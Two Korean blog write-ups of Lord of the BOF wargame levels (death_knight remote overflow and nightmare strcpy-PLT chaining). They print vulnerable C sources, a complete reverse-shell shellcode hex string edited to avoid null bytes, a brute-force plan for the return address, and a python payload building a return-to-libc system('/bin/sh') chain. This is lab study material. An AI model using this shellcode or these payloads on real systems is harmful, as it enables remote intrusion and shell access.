[Preview]


대망의 lob 복기 마지막 문제.. 이전에 풀 땐 귀찮아서 해당 문제를 스킵했었는데 왜 그랬었나 후회가 되는 시점입니다. 뭐 어쨌든 제겐 첫 remote exploit 문제였습니다. 지금까지 로컬에서만 문제를 풀어왔는데 remote로 하니 제한적인 부분이 많다는걸 느꼈습니다 ㅋㅋ.. 본래대로라면 리버스쉘코드 하나가지고 쉭쉭 익스해서 풀렸어야 하는데.. 제 내부망 ip대역이 192.168.0.* 대역이라 ip 주소를 넣는데 \x00이 들어가더군요.. 얘 땜에 쉘코드 고쳐서 만드느라 조금 고생했습니다 ㅋㅋㅋ 뭐 쨌든 시작합니다.


[Code & Analysis]


/* The Lord of the BOF : The Fellowship of the BOF - dark knight - remote BOF */ #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <sys/types.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/wait.h> #include <dumpcode.h> main() { char buffer[40]; int server_fd, client_fd; struct sockaddr_in server_addr; struct sockaddr_in client_addr; int sin_size; if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){ perror("socket"); exit(1); } server_addr.sin_family = AF_INET; server_addr.sin_port = htons(6666); server_addr.sin_addr.s_addr = INADDR_ANY; bzero(&(server_addr.sin_zero), 8); if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){ perror("bind"); exit(1); } if(listen(server_fd, 10) == -1){ perror("listen"); exit(1); } while(1) { sin_size = sizeof(struct sockaddr_in); if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){ perror("accept"); continue; } if (!fork()){ send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0); send(client_fd, "You : ", 6, 0); recv(client_fd, buffer, 256, 0); close(client_fd); break; } close(client_fd); while(waitpid(-1,NULL,WNOHANG) > 0); } close(server_fd); }


뭐.. 코드가 긴데요. 대충 해석하자면 6666포트로 INADDR_ANY로 소켓 연 다음 fork()로 child process 생성해서 거기서 recv로 클라에서 받아온 값을 버퍼에 저장하는 코드입니다. 근데 버퍼는 40 바이트인데 recv를 256바이트 받아서 bof가 터진다는 직관적인 코드입니다. 일단 remote로 input값을 넣어야하고, child process에서 buffer에 값을 넣기 때문에 단순 쉘코드만 넣어선 그 결과를 볼 수가 없습니다. 때문에 리버스쉘을 통해 제 쉘과 연결하여 interactive하게 동작하게끔 해야하는 상황입니다.


[Exploit]


이미 제가 필요한 것은 누군가가 해 놓았습니다.


https://www.exploit-db.com/exploits/25497/


exploit-db에 2013년에 올라온 쉘코드인데요, 쉘코드에서 설정된 ip와 포트로 리버스쉘(/bin/sh)을 연결하는 쉘코드입니다.


근데 preview에서 말했듯이 제 ip는 192.168.0.* 대역이었습니다.



하... 쉘코드 중간에 보면 ip 주소를 넣는 부분이 있습니다.


804807f:       68 c0 a8 01 0a          push   0xa01a8c0


문제의 지점...ㅋㅋㅋ


쉘코드에 널바이트가 삽입되면 해당 부분까지만 쉘코드를 인식하기 때문에 정상적으로 익스플로잇 되지 않습니다. 때문에 해당 부분 쉘코드를 수정해서 삽입하기로 마음먹었습니다..!!!!!


일단 쉘코드부터 보면..


\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x31\xdb\xb3\x02\x66\xBA\x01\x86\x80\xEA\x01\xC1\xE2\x10\x66\x81\xC2\xC0\xA8\x52\x31\xD2\x66\x68\x7a\x69\x66\x53\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80



1f부분부터 제가 변경한 쉘코드인데요. 간단히 설명하면 본래 제 ip를 hex로 변환하면 0xc0a80086 입니다만, 0xc0a80186에서 0x100을 빼서 널바이트를 제거하는 것이 목적이었습니다. 근데.. 제가 무지해서 그런지 이 부분에서 삽질을 좀 했습니다.


본래 코드는 'push 0xc0a80086' 이런식으로 진행됐었죠? 근데 저는 연산을 하기 위해 해당 쉘코드에서 사용하지 않는 레지스터 $edx를 이용하여 연산 후 push $edx로 argument를 세팅해 주었었습니다. 근데 아뿔싸... push 0xc0a80086 으로 넣으면 자동으로 메모리에 엔디안을 적용하여 삽입되는데, 레지스터의 값을 push 해주면 엔디안이 적용되지 않고 삽입이 되더군요.


이 내용을 몰라 왜 안되지? 하며 여러번 시도하다가 디버깅 후에 알게되었습니다.. 뭔가 이상하면 첨부터 디버깅을 합시다 흑흑


뭐 어쨌든 그래서 처음부터 엔디안을 적용하여 0x8600a8c0 을 세팅하고(4바이트 레지스터에 값을 넣으면 자동으로 널바이트가 삽입되어 dx, dl을 활용하고 쉬프트 연산을 통해 값을 세팅하였습니다) 이를 스택에 넣는것으로 쉘코드를 재구성하였습니다.




이제 리버스쉘코드도 완성되었고 남은것은 진짜 익스뿐이네요. 우리는 원격지의 바이너리를 디버깅할 수 없기 때문에 우리가 덮을 ret가 가리킬 쉘코드의 주소를 알 수 없습니다. 때문에 brute forcing을 통해 0xbfffffff부터 아래로 내려가며 ret값을 때려맞춰야 합니다.(아래로 내려가는 이유는.. 그게 더 빨리 찾을 수 있잖아요??)




익스플로잇은 pwntools 이용하여 했습니다.


[dummy(44byte)] [ret(brute forcing)] [nop_sled(44byte)] [shellcode]


이렇게 구성한 후 ret 값을 0xbfffffff부터 16바이트씩 내리면서 브루트포싱하였습니다. (1바이트씩 안내려도 놉슬레드타고 쉘코드가 실행되기 때문)




nc로 31337포트 열어놓고 익스플로잇 코드를 실행시키면..!


flag get!


'System > LOB (Lord of Bof)' 카테고리의 다른 글

lob 17->18 nightmare  (0) 2018.08.18

[Preview]


여전히 lob 복기중입니다 ㅋㅋㅋ 좀 오래걸린감이 있지만 요즘 공부를 손에 놓아서... 이번에 lob 복기를 하며 전에 풀었던 방법들이 다 기억이 나지 않아 아예 새로 풀고 있는데, 좀 특이하게(?) 이 문제를 푼것 같은 느낌이 들어 이 문제에 대해서 라업을 작성하려 합니다. 본래 더 쉽게 푸는 방법은 타 블로그에 많으니 해당 내용들 참고해주시기 바랍니다. 이렇게 풀다보니 어찌저찌 rtl을 연습하게 된 것 같네요 ㅋㅋ


[Code & Analysis]


/*
        The Lord of the BOF : The Fellowship of the BOF
        - nightmare
        - PLT
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dumpcode.h>

main(int argc, char *argv[])
{
	char buffer[40];
	char *addr;

	if(argc < 2){
		printf("argv errorn");
		exit(0);
	}

	// check address
	addr = (char *)&strcpy;
        if(memcmp(argv[1]+44, &addr, 4) != 0){
                printf("You must fall in love with strcpy()n");
                exit(0);
        }

        // overflow!
        strcpy(buffer, argv[1]);
	printf("%sn", buffer);

	// dangerous waterfall
	memset(buffer+40+8, 'A', 4);
}


간단히 설명하자면 ebp+4 에 존재하는 ret값이 strcpy의 주소(0x8048410)와 일치하는 지 비교하여 일치하지 않으면 종료합니다. 그리고 ret 다음 4바이트, 즉 strcpy 이후에 반환될 ret2 영역을 'A'로 덮어 줍니다. 때문에 우리는 strcpy를 사용해야만 하는데 이 상황에서 strcpy 다음에 뛸 주소(strcpy의 ret addr)를 컨트롤하지 못하는 상황입니다.



[Exploit]


strcpy를 사용해야만 하는 것을 다시 잘 생각해보았습니다. strcpy는 2개의 인자(argument)를 받으며, strcpy가 동작하는 것은 정확히는 첫번째 인자의 주소가 가리키는 buffer에 두번째 인자의 주소가 가리키는 buffer를 덮어씌우는 것입니다.(\x00이 나올 때 까지) 그리고 우리는 ret주소를 strcpy의 plt를 가르키게 하여 메인함수가 종료된 후 strcpy를 실행하고 있습니다.


[SFP] [RET] [RET2] [arg1_strcpy] [arg2_strcpy]


정상적으로 strcpy를 실행시키기 위해선 위와같이 스택이 구성되어 있을 것입니다.

하지만 RET2 영역을 'AAAA'로 덮어 씌우고 있는것이 문제 상황입니다. 때문에 우리는 strcpy의 arg1에 ret2 주소를 넣고, arg2에 내가 ret2부터 넣고싶은 원하는 값이 들어있는 버퍼의 주소를 적어준다면, 우리는 AAAA로 덮어씌워진 ret2의 주소를 컨트롤할 수 있습니다.


하지만 인자가 2개 들어가있기 때문에 strcpy가 끝난 후 ppr 가젯을 실행 시켜야 우리가 원하는 system 함수를 통한 rtl을 할 수 있습니다.


[BUF] [SFP] [RET] [ppr_gadget] [RET2_addr] [shellcode_addr] [libc_system] [Dummy(RET3)] ["/bin/sh"_addr]


위와같이 익스플로잇 코드가 구성되면 우리가 원하는대로 쉘을 딸 수 있을 것입니다.


우선 ppr_gadget을 모으기 위해 libc 를 objdump하여 이 중 ppr을 찾습니다.



ppr 오프셋을 찾았으니 /proc/self/maps 에서 libc-base 주소를 알아냅니다



libc-base 주소에서 아까 구한 ppr의 오프셋을 더하면 ppr의 주소가 나옵니다. aslr이 안걸려있기 때문에 주소는 고정입니다.



  `python -c 'print "\xf6\x6f\x07\x40" + "G"*8 + "\xe0\x8a\x05\x40" + "HHHH" + "\x3d\xfc\xff\xbf" + "B"*20 

  + "\x10\x84\x04\x08" + "CCCC" + "\x90\xfa\xff\xbf" + "\x60\xfa\xff\xbf"'` 



[ret2(ppr_gadget_addr)] [dummy1(arg1)] [dummy2(arg2)] [libc-system()] [dummy3(ret3)] ["/bin/sh" addr] [buf(20)] [strcpy_plt(ret1)] [dummy0(ret2)] [dummy0_addr (ret2_addr)] [buf_addr(버퍼시작주소)]





주소를 정확히 찍어서 익스플로잇 코드를 작성하였기 때문에 똑같은 환경에서 실행하기 위해 링킹을 걸어 실행하였습니다.



'System > LOB (Lord of Bof)' 카테고리의 다른 글

lob 19->20 death_knight  (0) 2018.08.21

+ Recent posts